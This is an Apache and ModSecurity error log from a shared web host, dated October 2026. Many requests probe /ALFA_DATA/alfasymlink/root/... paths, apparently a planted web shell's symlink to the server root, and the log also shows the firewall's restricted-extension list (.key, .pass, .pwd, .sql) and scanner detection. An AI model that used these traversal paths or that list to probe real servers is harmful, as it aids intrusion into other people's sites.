[Sun Oct 25 16:53:25.889268 2026] [security2:error] [pid 2899600:tid 2899600] [client 85.208.96.204:14862] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/syslinux/dosutil/copybs.com"] [unique_id "at5sRdv1H9diQcRyJoILeAAAACM"]
[Sun Oct 25 16:53:25.889645 2026] [security2:error] [pid 2899600:tid 2899600] [client 85.208.96.204:14862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/syslinux/dosutil/copybs.com"] [unique_id "at5sRdv1H9diQcRyJoILeAAAACM"]
[Sun Oct 25 16:53:25.890006 2026] [security2:error] [pid 2899600:tid 2899600] [client 85.208.96.204:14862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/syslinux/dosutil/copybs.com"] [unique_id "at5sRdv1H9diQcRyJoILeAAAACM"]
[Sun Oct 25 16:53:26.510190 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 98.83.94.113:28135] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:53:30.605816 2026] [core:error] [pid 2899602:tid 2899602] (13)Permission denied: [client 44.195.145.102:35601] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/LNXCPU:01/eject
[Sun Oct 25 16:53:32.838530 2026] [core:error] [pid 2899814:tid 2899814] (13)Permission denied: [client 85.208.96.207:45400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/red_zone
[Sun Oct 25 16:53:36.744785 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 85.208.96.201:44010] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/total_objects
[Sun Oct 25 16:53:40.650989 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 185.191.171.18:10786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf-frags/remote_node_defrag_ratio
[Sun Oct 25 16:53:46.559931 2026] [ssl:error] [pid 2899616:tid 2899616] (70014)End of file found: [client 54.235.158.162:43166] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:53:48.592539 2026] [security2:error] [pid 2899576:tid 2899576] [client 138.122.21.19:64666] ModSecurity: Warning. Matched phrase "masscan" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: masscan found within REQUEST_HEADERS:User-Agent: ivre-masscan/1.3 https://github.com/robertdavidgraham/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "at5sXBsIN7vUZo55IKdj8wAAABQ"]
[Sun Oct 25 16:53:48.592728 2026] [security2:error] [pid 2899576:tid 2899576] [client 138.122.21.19:64666] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "at5sXBsIN7vUZo55IKdj8wAAABQ"]
[Sun Oct 25 16:53:48.604154 2026] [security2:error] [pid 2899576:tid 2899576] [client 138.122.21.19:64666] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "at5sXBsIN7vUZo55IKdj8wAAABQ"]
[Sun Oct 25 16:53:48.604578 2026] [security2:error] [pid 2899576:tid 2899576] [client 138.122.21.19:64666] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request Missing a Host Header"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "at5sXBsIN7vUZo55IKdj8wAAABQ"]
[Sun Oct 25 16:53:48.604628 2026] [security2:error] [pid 2899576:tid 2899576] [client 138.122.21.19:64666] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "at5sXBsIN7vUZo55IKdj8wAAABQ"]
[Sun Oct 25 16:53:50.422841 2026] [ssl:error] [pid 2891189:tid 2891189] (70014)End of file found: [client 54.162.69.192:59540] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:53:54.483437 2026] [core:error] [pid 2899600:tid 2899600] (13)Permission denied: [client 44.207.252.58:30834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/ttyS1/custom_divisor
[Sun Oct 25 16:54:02.319774 2026] [ssl:error] [pid 2891189:tid 2891189] (70014)End of file found: [client 3.210.114.189:62744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:54:10.240783 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 34.227.156.153:5607] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:54:18.349092 2026] [ssl:error] [pid 2899616:tid 2899616] (70014)End of file found: [client 54.235.172.108:37359] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:54:22.389830 2026] [ssl:error] [pid 2891189:tid 2891189] (70014)End of file found: [client 44.195.145.102:13599] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:54:22.457867 2026] [core:error] [pid 2899615:tid 2899615] (13)Permission denied: [client 74.109.29.111:48835] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/cpu_partial
[Sun Oct 25 16:54:24.006356 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 24.217.168.43:55368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/cpu_partial
[Sun Oct 25 16:54:27.142139 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 181.121.118.93:53924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/cpu_partial
[Sun Oct 25 16:54:34.226653 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 3.93.211.16:15014] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:54:42.187876 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 18.215.24.66:25375] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:54:46.184794 2026] [ssl:error] [pid 2900213:tid 2900213] (70014)End of file found: [client 52.2.58.41:60930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:54:53.164026 2026] [core:crit] [pid 2899542:tid 2899542] (13)Permission denied: [client 81.157.45.108:41219] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.pop3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.pop3/' is executable
[Sun Oct 25 16:54:53.164105 2026] [core:crit] [pid 2899542:tid 2899542] (13)Permission denied: [client 81.157.45.108:41219] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.pop3-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.pop3-login/' is executable
[Sun Oct 25 16:54:53.164125 2026] [core:crit] [pid 2899542:tid 2899542] (13)Permission denied: [client 81.157.45.108:41219] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.managesieve/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.managesieve/' is executable
[Sun Oct 25 16:54:53.164143 2026] [core:crit] [pid 2899542:tid 2899542] (13)Permission denied: [client 81.157.45.108:41219] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.managesieve-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.managesieve-login/' is executable
[Sun Oct 25 16:54:53.164170 2026] [core:crit] [pid 2899542:tid 2899542] (13)Permission denied: [client 81.157.45.108:41219] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.indexer-worker/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.indexer-worker/' is executable
[Sun Oct 25 16:54:53.164198 2026] [core:crit] [pid 2899542:tid 2899542] (13)Permission denied: [client 81.157.45.108:41219] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.imap/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.imap/' is executable
[Sun Oct 25 16:54:53.164217 2026] [core:crit] [pid 2899542:tid 2899542] (13)Permission denied: [client 81.157.45.108:41219] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.imap-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.imap-login/' is executable
[Sun Oct 25 16:54:53.164233 2026] [core:crit] [pid 2899542:tid 2899542] (13)Permission denied: [client 81.157.45.108:41219] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.imap-hibernate/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/srv.imap-hibernate/' is executable
[Sun Oct 25 16:54:53.164249 2026] [core:crit] [pid 2899542:tid 2899542] (13)Permission denied: [client 81.157.45.108:41219] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/token-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/token-login/' is executable
[Sun Oct 25 16:54:53.164265 2026] [core:crit] [pid 2899542:tid 2899542] (13)Permission denied: [client 81.157.45.108:41219] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/dovecot/login/' is executable
[Sun Oct 25 16:54:54.194078 2026] [ssl:error] [pid 2899814:tid 2899814] (70014)End of file found: [client 18.213.240.226:59474] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:55:06.178791 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 52.70.123.241:5231] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:55:18.190414 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 3.223.134.5:8651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:55:21.623250 2026] [security2:error] [pid 2899615:tid 2899615] [client 85.208.96.210:38342] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.12/unittest/__pycache__/runner.cpython-312.opt-1.pyc"] [unique_id "at5suRTM4MuhxodnSAA6DAAAADc"]
[Sun Oct 25 16:55:21.623293 2026] [security2:error] [pid 2899615:tid 2899615] [client 85.208.96.210:38342] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.12/unittest/__pycache__/runner.cpython-312.opt-1.pyc"] [unique_id "at5suRTM4MuhxodnSAA6DAAAADc"]
[Sun Oct 25 16:55:26.169123 2026] [core:error] [pid 2899814:tid 2899814] (13)Permission denied: [client 35.168.238.50:59191] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource0
[Sun Oct 25 16:55:38.326126 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 34.239.197.197:9834] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:55:40.709446 2026] [core:error] [pid 2899615:tid 2899615] (13)Permission denied: [client 41.83.98.141:47566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/objects_partial
[Sun Oct 25 16:55:43.042968 2026] [core:error] [pid 2899814:tid 2899814] (13)Permission denied: [client 156.210.158.125:51766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/objects_partial
[Sun Oct 25 16:55:45.312615 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 157.100.199.137:31065] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/objects_partial
[Sun Oct 25 16:55:58.179697 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 3.235.215.92:55890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/subsystem/devices/PNP0B00:00/physical_node/driver/unbind
[Sun Oct 25 16:56:01.805007 2026] [core:error] [pid 2900213:tid 2900213] (13)Permission denied: [client 98.52.143.242:53740] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/sanity_checks
[Sun Oct 25 16:56:02.177737 2026] [core:error] [pid 2899615:tid 2899615] (13)Permission denied: [client 3.213.46.222:15874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory10/node0/cpu1/firmware_node/physical_node/subsystem/drivers/processor/unbind
[Sun Oct 25 16:56:03.634583 2026] [core:error] [pid 2891189:tid 2891189] (13)Permission denied: [client 187.190.31.89:57685] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/sanity_checks
[Sun Oct 25 16:56:05.390519 2026] [core:error] [pid 2899616:tid 2899616] (13)Permission denied: [client 67.80.35.109:51902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/sanity_checks
[Sun Oct 25 16:56:06.244664 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 184.72.95.195:54342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:56:10.166750 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 3.210.29.96:10380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:56:11.752044 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 85.208.96.198:37182] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:56:11.752249 2026] [security2:error] [pid 2899590:tid 2899590] [client 85.208.96.198:37182] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/char/251:0/time"] [unique_id "at5s6zhv9sIzzLYWOYLPWAAAABc"]
[Sun Oct 25 16:56:11.752279 2026] [security2:error] [pid 2899590:tid 2899590] [client 85.208.96.198:37182] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/char/251:0/time"] [unique_id "at5s6zhv9sIzzLYWOYLPWAAAABc"]
[Sun Oct 25 16:56:14.190523 2026] [ssl:error] [pid 2899615:tid 2899615] (5)Input/output error: [client 52.71.46.142:53805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:56:16.241003 2026] [core:error] [pid 2891189:tid 2891189] (13)Permission denied: [client 185.191.171.1:10988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/destroy_by_rcu
[Sun Oct 25 16:56:18.566425 2026] [ssl:error] [pid 2899542:tid 2899542] (5)Input/output error: [client 52.70.138.176:12381] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:56:24.360621 2026] [core:error] [pid 2891189:tid 2891189] (13)Permission denied: [client 190.134.185.234:46830] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/objs_per_slab
[Sun Oct 25 16:56:25.859340 2026] [core:error] [pid 2899616:tid 2899616] (13)Permission denied: [client 73.75.44.189:37777] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/objs_per_slab
[Sun Oct 25 16:56:26.228526 2026] [security2:error] [pid 2899542:tid 2899542] [client 52.202.52.82:8810] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:09/"] [unique_id "at5s-tKQ9ANbYqzP3RuhHgAAAAk"]
[Sun Oct 25 16:56:26.228566 2026] [security2:error] [pid 2899542:tid 2899542] [client 52.202.52.82:8810] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:09/"] [unique_id "at5s-tKQ9ANbYqzP3RuhHgAAAAk"]
[Sun Oct 25 16:56:27.886532 2026] [core:error] [pid 2899615:tid 2899615] (13)Permission denied: [client 172.56.64.138:1596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/objs_per_slab
[Sun Oct 25 16:56:31.384985 2026] [core:error] [pid 2900213:tid 2900213] (13)Permission denied: [client 134.82.65.11:47171] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/objs_per_slab
[Sun Oct 25 16:56:34.140396 2026] [core:error] [pid 2899616:tid 2899616] (13)Permission denied: [client 89.128.120.20:38209] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/objs_per_slab
[Sun Oct 25 16:56:37.186359 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 213.94.51.62:12578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/objs_per_slab
[Sun Oct 25 16:56:42.908220 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 82.39.23.127:42759] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/validate
[Sun Oct 25 16:56:44.735802 2026] [core:error] [pid 2891189:tid 2891189] (13)Permission denied: [client 93.170.189.251:40808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/validate
[Sun Oct 25 16:56:46.154738 2026] [core:error] [pid 2899615:tid 2899615] (13)Permission denied: [client 73.188.202.204:33749] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/validate
[Sun Oct 25 16:56:50.392790 2026] [ssl:error] [pid 2899616:tid 2899616] (70014)End of file found: [client 52.203.65.83:63587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:56:54.155712 2026] [ssl:error] [pid 2891189:tid 2891189] (70014)End of file found: [client 107.20.255.194:3727] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:56:58.196628 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 98.83.226.125:63830] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:57:02.267977 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 23.21.179.120:36367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:57:06.339172 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 107.23.62.75:47321] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:57:10.214257 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 100.24.149.244:31618] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:57:26.192746 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 3.208.146.193:47730] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:57:38.265640 2026] [core:error] [pid 2899576:tid 2899576] (13)Permission denied: [client 52.2.4.213:47143] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:06/eject
[Sun Oct 25 16:57:50.154064 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 44.207.207.36:12610] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:57:52.851914 2026] [core:error] [pid 2899576:tid 2899576] (13)Permission denied: [client 85.208.96.194:17442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/hwcache_align
[Sun Oct 25 16:57:54.199182 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 18.214.186.220:11499] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:57:58.177383 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 23.21.227.240:7922] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:58:06.167876 2026] [core:error] [pid 2899590:tid 2899590] (13)Permission denied: [client 120.28.82.207:48248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/min_partial
[Sun Oct 25 16:58:08.596681 2026] [security2:error] [pid 2899920:tid 2899920] [client 43.153.96.233:47270] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/contacto/"] [unique_id "at5tYB8fO9KwLgqLGMRBnQAAAAc"]
[Sun Oct 25 16:58:08.598065 2026] [authz_core:error] [pid 2899920:tid 2899920] [client 43.153.96.233:47270] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sun Oct 25 16:58:14.201680 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 35.174.253.85:46542] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:58:16.478658 2026] [core:error] [pid 2899590:tid 2899590] (13)Permission denied: [client 162.246.111.244:9097] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/min_partial
[Sun Oct 25 16:58:18.291557 2026] [ssl:error] [pid 2899814:tid 2899814] (70014)End of file found: [client 52.70.209.13:40582] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:58:30.228529 2026] [ssl:error] [pid 2900794:tid 2900794] (70014)End of file found: [client 44.205.192.249:56718] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:58:38.150588 2026] [ssl:error] [pid 2899814:tid 2899814] (70014)End of file found: [client 3.94.199.128:30842] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:58:42.151821 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 18.213.27.222:16915] AH02013: coalesce failed to read from data bucket
